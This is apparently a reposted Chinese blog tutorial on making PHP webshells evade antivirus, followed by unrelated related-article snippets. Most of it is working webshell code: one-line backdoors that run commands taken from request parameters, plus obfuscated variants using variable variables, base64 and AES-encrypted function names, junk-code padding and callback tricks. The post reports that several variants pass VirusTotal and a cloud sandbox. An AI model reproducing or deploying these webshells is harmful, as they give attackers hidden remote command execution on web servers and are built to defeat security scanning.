PHP webshell 免杀方法

本文介绍php类webshell简单的免杀方法,总结不一定全面,仅供读者参考。

webshell通常可分为一句话木马,小马,大马,内存马。

一句话木马是最简单也是最常见的webshell形式,这种木马体积小,隐蔽较强,免杀相对容易;

小马是功能较为简单的Webshell,但比一句话木马稍复杂,可能会包含一个简单的文件管理界面或命令执行功能;

大马是功能全面的webshell,通常带有图形用户界面,提供文件管理、数据库操作、命令执行等多种功能,比如常用的蚁剑,冰蝎,哥斯拉等,大马由于功能复杂,在做免杀时一般需要将大马伪装成合法管理工具,分解成多个独立模块,分别加载,降低单点检测风险;

内存马是一种驻留在内存中的恶意代码,通常通过修改服务器进程的内存空间来执行,极难被发现和删除。与一般的webshell木马不同,内存马免杀一般需要采用内存隐藏,动态注入等方式,尽可能的隐藏恶意代码在内存中的存在,降低被持久发现的风险。

下面以一句话木马为例,通过几种一般的免杀方式对其进行免杀处理。

一句话木马

下面是常见的命令执行一句话木马:

<?php system($_POST['xxx']); ?>
<?php eval($_POST['xxx']); ?>
<?php echo shell_exec($_POST['xxx']); ?>
<?php assert($_POST['xxx']); ?>

在做免杀的时候,不仅需要避免木马被杀毒软件和安全工具检测到,同时还需要保证木马功能正常运行。

在 windows10/11 虚拟机上利用 phpstudy 搭建一个本地网站,本实验木马放在网站下的 free-kill 目录中。编写好原始的一句话木马命名为 test0.php 

<?php echo shell_exec($_GET['xxx']); ?>

执行 echo hack 命令验证功能:

 使用河马webshell查杀(SHELLPUB.COM在线查杀),可以轻易检测出来:

 可变变量绕过

一些安全检测机制会直接扫描代码中是否包含敏感函数调用,对此可以把敏感的函数名隐藏在可变变量中。下面通过把 shell_exec 隐藏到可变变量中实现:

<?php 
$v="x";
$$v="shell_exec"; #相当于是 $x="shell_exec";
echo $x($_GET['xxx']); 
?>

 河马查杀能检测出来:

 单纯的可变变量特性一般过不了杀软,该方法通常需要和其他绕过方法配合使用。

各种加密绕过

将特征函数先用某种加密方式加密,再解密。

比如简单的base64加密

在木马中把密文解密后调用:

<?php 
$v=base64_decode("c2hlbGxfZXhlYw==");
echo $v($_GET['xxx']); 
?>

功能验证

 简单的加密过不了杀软,还是能被检测出来:

但是,可以考虑和代码混淆一起使用。在代码中加入与主要功能无关的代码,可以干扰分析工具和反病毒软件的检测,提高隐蔽性。

在此基础上,增加safe_waf和Safe两个无用函数并调用:

<?php 
function safe_waf(){$data1 = "1qazxsw23edcvfr45tgb";$data2 = "1qazXSW@3edcVFR$6yhn";$data3 = "!QAZxsw2#EDCvfr4%TGB";for ($i = 0; $i < 10; $i++) {$data1[$i % strlen($data1)];}$a = 5;$b = 10;$c = $a + $b;$a_safe = array();for ($j = 0; $j < 10; $j++) {$a_safe[] = md5($j.$data2);}return $c;
}function Safe(){$t = "1qazxsw23edcvfr45tgb";$result = strrev($t);return $result;
}function DD($Data) {return base64_decode($Data);
}
safe_waf();
echo DD("c2hlbGxfZXhlYw==")($_GET['xxx']);
Safe();
?>

 修改后可以过通过河马

VT分析平台(VirusTotal)也能通过所有杀软:

然而可以被云沙箱检测出来(安恒云沙箱):

 此外,加密函数可以考虑采用更复杂的加密,比如AES加密。

首先写一个加密代码,在本地生成一个key和密文:

<?phpfunction generateKey($length = 32) {return openssl_random_pseudo_bytes($length);
}
function encrypt($data, $key) {$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('aes-256-cbc'));$ciphertext = openssl_encrypt($data, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);return base64_encode($iv . $ciphertext);
}$key = generateKey();
$original_data = "shell_exec";
$encrypted_data = encrypt($original_data, $key);
echo "key = " . bin2hex($key) . "\n";
echo "Encrypted Data: " . $encrypted_data . "\n";
?>
key = 88c266a678f21d1713e14b032e16475897290d86a692f818bbd89234d7757ec4
Encrypted Data: xlri1KQnFm7Z7osHErvWBZn9tFtE5uSX9gZ1yNSef2s=

然后在木马中传入密文和key,并写一个解码函数:

<?php
function DD($Data, $k) {$data = base64_decode($Data);$len = openssl_cipher_iv_length('aes-256-cbc');$iv = substr($data, 0, $len);$c = substr($data, $len);return openssl_decrypt($c, 'aes-256-cbc', hex2bin($k), OPENSSL_RAW_DATA, $iv);
}echo DD("xlri1KQnFm7Z7osHErvWBZn9tFtE5uSX9gZ1yNSef2s=","88c266a678f21d1713e14b032e16475897290d86a692f818bbd89234d7757ec4")($_GET['xxx']); 
?>

样例 test3.php 功能验证:

该样例可以逃过安恒的沙箱查杀:

试一试河马和VT,也可以通过: 

 

传参绕过

可以把传入的函数名写在请求中获取,通过将函数名动态地从外部传递。

<?php
$v=$_GET['func'];
$v($_GET['xxx']);
?>

此时可以把func传参为system,把xxx作为命令。

该方法可以与回调函数结合:

<?php
$f=$_GET['func'];
$v=$_GET['xxx'];
call_user_func($f,$v);
?>

结合前面的加密绕过思路,加密call_user_func函数:

 

<?php
function DD($Data) {return base64_decode($Data);
}
$f=$_GET['func'];
$v=$_GET['xxx'];
DD("Y2FsbF91c2VyX2Z1bmM=")($f,$v);
?>

该例子仍能被河马查杀:

 读者可以采用更复杂的加密函数尝试。

传参混淆

使用php中的分隔函数,用某个符号把传入的参数做一个分隔,再结合回调函数调用执行。

<?php
function DD($Data) {return base64_decode($Data);
}
$a = explode("!",$_GET['s']);
DD("Y2FsbF91c2VyX2Z1bmM=")($a[0],$a[1]);
?>

这里,攻击者可以传入 s=system!echo hack 达到目的。

 

 该方法可以避开河马查杀:

 VT上通过所有杀软:

沙箱检测也顺利绕过:

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/46863.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

a newer or same version is present nvidia解决方案

安装时候出现a newer or same version is present nvidia 或者Night Visual Editor 失败&#xff0c;把显卡驱动卸载掉&#xff0c;打开service.mtc 服务控制面板&#xff0c;把nvidia开头的服务全停掉&#xff0c;重新启动cuda安装程序选择自定义安装 vse visual studio相关的…

鸿蒙语言基础类库:【@system.device (设备信息)】

设备信息 说明&#xff1a; 从API Version 6开始&#xff0c;该接口不再维护&#xff0c;推荐使用新接口[ohos.deviceInfo]进行设备信息查询。本模块首批接口从API version 3开始支持。后续版本的新增接口&#xff0c;采用上角标单独标记接口的起始版本。 导入模块 import dev…

手把手教你,如何利用积木易搭3D扫描仪完成文物三维建模?

当前&#xff0c;文物三维建模主要技术手段主要有摄影测量技术、三维激光扫描技术、结构光扫描技术。其中&#xff0c;积木易搭的MagicScan作为一款先进的3D扫描仪&#xff0c;是正是运用了结构光扫描技术的精髓&#xff0c;它巧妙地融合了点云相机的高精度空间数据采集能力、纹…

如何用python写接口

如何用python写接口&#xff1f;具体步骤如下&#xff1a;  1、实例化server 2、装饰器下面的函数变为一个接口 3、启动服务 开发工具和流程&#xff1a; python库&#xff1a;flask 》实例化server&#xff1a;server flask.Flask(__name__) 》server.route(/index,met…

【STM32嵌入式系统设计与开发---拓展】——1_9 GPIO的输入和输出

这里写目录标题 0、输入 输出1、输出&#xff08;1&#xff09;GPIO_SetBits:用于设置 GPIO 引脚的状态&#xff08;即将指定的引脚设置为高电平&#xff09; 2、输入&#xff08;1&#xff09;GPIO_ReadInputDataBit&#xff08;&#xff09; 0、输入 输出 咋们定义了一个结构…

解决ESLint和Prettier冲突的问题

在配置了ESLint的项目中使用Prettier进行格式化可能会出现冲突&#xff0c;不如Prettier配置了使用双引号&#xff0c;ESLint配置了单引号&#xff0c;当然可以一个一个改成一样的配置&#xff0c;但是比较麻烦。我发现可以直接使用ESLint的规则进行格式化。在VSCode配置过程如…

xss复习总结及ctfshow做题总结xss

xss复习总结 知识点 1.XSS 漏洞简介 ​ XSS又叫CSS&#xff08;Cross Site Script&#xff09;跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码&#xff0c;当用户浏览该页之时&#xff0c;嵌入其中Web里面的Script代码会被执行&#xff0c;从而达到恶意攻击用户的…

软考从报考到拿到证书的过程

一、报考阶段及参加考试阶段 这个阶段可以留意软考官网的的信息&#xff0c;一般上半年是3月份报名、5月份考试&#xff1b;下半年是8月份报名、11月份考试。以下是这个阶段会用到的链接&#xff0c;保持关注就好。 软考官网&#xff1a;中国计算机技术职业资格网 (ruankao.o…

六、 SpringBoot 配置⽂件 ★ ✔【value的引号注意事项、@ConfigurationProperties 、】

六、 SpringBoot 配置⽂件 本节⽬标1. 配置⽂件作⽤2. 配置⽂件快速⼊⼿3. 配置⽂件的格式4. properties 配置⽂件说明4.1 properties 基本语法4.2 读取配置⽂件4.3 properties 缺点分析 5. yml 配置⽂件说明5.1 yml 基本语法5.2 yml 使⽤进阶5.2.1 yml 配置不同数据类型及 nul…

【GD32】从零开始学GD32单片机 | WDGT看门狗定时器+独立看门狗和窗口看门狗例程(GD32F470ZGT6)

1. 简介 看门狗从本质上来说也是一个定时器&#xff0c;它是用来监测硬件或软件的故障的&#xff1b;它的工作原理大概就是开启后内部定时器会按照设置的频率更新&#xff0c;在程序运行过程中我们需不断地重装载看门狗&#xff0c;以使它不溢出&#xff1b;如果硬件或软件发生…

Vue实现滚动元素始终固定在最底部

1. 应用场景——聊天 在聊天的时候&#xff0c;展示聊天内容的元素是可以滚动的&#xff0c;通过上下滚动来查看过往消息。不过在首次打开聊天页面以及发送新消息时需要固定在滚动的最底部以及时展示最新的消息&#xff0c;这样才能获得比较好的用户体验。 效果&#xff1a; …

C++——类和对象(下)

文章目录 一、再探构造函数——初始化列表二、 类型转换三、static成员静态成员变量静态成员函数 四、 友元友元函数友元类 五、内部类六、匿名对象 一、再探构造函数——初始化列表 之前我们实现构造函数时&#xff0c;初始化成员变量主要使⽤函数体内赋值&#xff0c;构造函…

PostgreSQL使用(二)

说明&#xff1a;本文介绍PostgreSQL的DML语言&#xff1b; 插入数据 -- 1.全字段插入&#xff0c;字段名可以省略 insert into tb_student values (1, 张三, 1990-01-01, 88.88);-- 2.部分字段插入&#xff0c;字段名必须写全 insert into tb_student (id, name) values (2,…

【后端开发实习】用Redis实现消息队列邮件发送

简介 用Resi本身封装的方法相比于调redis-smq库&#xff0c;实现方式就要简单朴素很多&#xff1a; 调用redis本身的List数据结构的Lpush实现消息的进队。用Redis的List数据结构的brpop方法实现消息的出队。将出队消息通过邮件方法发送给指定的用户。 生动形象理解就是用redi…

《javeEE篇》--多线程(1)

进程 在讲线程之前我们先来简单了解一下进程 什么是进程 进程是操作系统对一个正在运行的程序的一种抽象&#xff0c;又或者说&#xff0c;可以把进程看作程序的一次运行过程(通俗的讲就是跑起来的程序)。 而且在操作系统内部&#xff0c;进程是资源分配的基本单位 PCB P…

内容长度不同的div如何自动对齐展示

平时我们经常会遇到页面内容div结构相同页&#xff0c;这时为了美观我们会希望div会对齐展示&#xff0c;但当div里的文字长度不一时又不想写固定高度&#xff0c;就会出现div长度长长短短&#xff0c;此时实现样式可以这样写&#xff1a; .e-commerce-Wrap {display: flex;fle…

轻量级自适用商城卡密发卡源码(可运营)

一款全开源非常好看的发卡源码。轻量级自适应个人自助发卡简介&#xff0c;这是一款二次开发的发卡平台源码修复原版bug,删除无用的代码。所有文件全部解密&#xff0c;只保留后台版权信息内容。大家放心使用&#xff0c;可以用于商业运营。轻量级自适应个人自助发卡。 源码下…

写python代码,怎么用工厂模式思维设计接口?

接口的好处 接口就是抽象方法&#xff0c;用来设计后架构&#xff0c;后端开发者和客户端调用者都可以使用这个接口规则同步写代码&#xff0c;客户端调用者&#xff08;app、网页甚至时自动化接口测试&#xff09;不用担心后端对接口的实现细节具体是什么样子的。直接去调用就…

获取欧洲时报中国板块前新闻数据(多线程版)

这里写目录标题 一.数据获取流程二.获取主页面数据并提取出文章url三.获取文章详情页的数据并提取整体代码展示 一.数据获取流程 我们首先通过抓包就能够找到我们所需数据的api 这里一共有五个参数其中只有第一个和第五个参数是变化的第一个参数就是第几页第五个是一个由时…

Qt 多窗体、复用窗口的使用

1.继承自QWidge的窗口的呈现&#xff0c;作为tabPage呈现&#xff0c;作为独立窗口呈现 2.继承自QMainWindow的窗口的呈现&#xff0c;作为abPage呈现&#xff0c;作为独立窗口呈现 1. 继承自QWidge的窗口的呈现 1.1 作为tabPage呈现 void MutiWindowExample::on_actWidgetI…